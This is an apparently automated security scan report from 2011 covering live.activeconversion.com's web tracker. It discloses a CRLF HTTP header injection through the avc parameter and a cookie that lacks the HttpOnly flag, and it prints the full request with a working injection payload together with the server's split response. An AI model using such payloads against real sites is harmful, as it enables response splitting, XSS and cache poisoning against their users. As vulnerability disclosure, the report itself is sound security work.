HTTP Header Injection, Set Cookie, Response Splitting, CWE-113, live.activeconversation.com

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Report generated by XSS.CX at Thu Mar 17 08:35:26 CDT 2011.


Loading

1. HTTP header injection

2. Cookie without HttpOnly flag set



1. HTTP header injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://live.activeconversion.com
Path:   /webtracker/track2.html

Issue detail

The value of the avc request parameter is copied into the Set-Cookie response header. The payload 27131%0d%0a7e058c1d44e was submitted in the avc parameter. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /webtracker/track2.html?method=track&pid=30792&uclkt=1&alh=http%3A//www.pre1.com/advertising/%3Fgclid%3DCICSxZ_P06cCFYve4AoddHkP-Q&avc=27131%0d%0a7e058c1d44e&source=&keyword=&ref=&pageTitle=Pre1%20Software%20-%20SmartPublisher%3B%20Advertising&pageUrl=http%3A//www.pre1.com/advertising/%3Fgclid%3DCICSxZ_P06cCFYve4AoddHkP-Q&java=1&amcs=0.2339678609278053 HTTP/1.1
Host: live.activeconversion.com
Proxy-Connection: keep-alive
Referer: http://www.pre1.com/advertising/?gclid=CICSxZ_P06cCFYve4AoddHkP-Q
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 17:37:33 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-store, no-cache, max-age=0, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=FC22673F51FBEC375EE3B27D1E633FDE; Path=/webtracker
Set-Cookie: _wt_30792="1300297063914|27131
7e058c1d44e
|0"; Max-Age=630720000;Path=/; HttpOnly
P3P: policyref="http://www.activeconversion.com/w3c/p3p.xml", CP="NOI DSP LAW PSA OUR IND STA NAV COM"
Connection: close
Content-Type: image/png
Content-Length: 68

.PNG
.
...IHDR.....................IDATx.c`...............IEND.B`.

2. Cookie without HttpOnly flag set  previous

Summary

Severity:   Low
Confidence:   Firm
Host:   http://live.activeconversion.com
Path:   /webtracker/track2.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /webtracker/track2.html?method=track&pid=30792&uclkt=1&alh=http%3A//www.pre1.com/advertising/%3Fgclid%3DCICSxZ_P06cCFYve4AoddHkP-Q&avc=4280-4a67-b7e7-ffca12ebfbb7edd&source=&keyword=&ref=&pageTitle=Pre1%20Software%20-%20SmartPublisher%3B%20Advertising&pageUrl=http%3A//www.pre1.com/advertising/%3Fgclid%3DCICSxZ_P06cCFYve4AoddHkP-Q&java=1&amcs=0.2339678609278053 HTTP/1.1
Host: live.activeconversion.com
Proxy-Connection: keep-alive
Referer: http://www.pre1.com/advertising/?gclid=CICSxZ_P06cCFYve4AoddHkP-Q
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 17:35:23 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-store, no-cache, max-age=0, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=A867B68EC9E904E80E80EC1B22D5CCB3; Path=/webtracker
Set-Cookie: _wt_30792=1300296923494|4280-4a67-b7e7-ffca12ebfbb7edd|0; Max-Age=630720000;Path=/; HttpOnly
P3P: policyref="http://www.activeconversion.com/w3c/p3p.xml", CP="NOI DSP LAW PSA OUR IND STA NAV COM"
Connection: close
Content-Type: image/png
Content-Length: 68

.PNG
.
...IHDR.....................IDATx.c`...............IEND.B`.

Report generated by XSS.CX at Thu Mar 17 08:35:26 CDT 2011.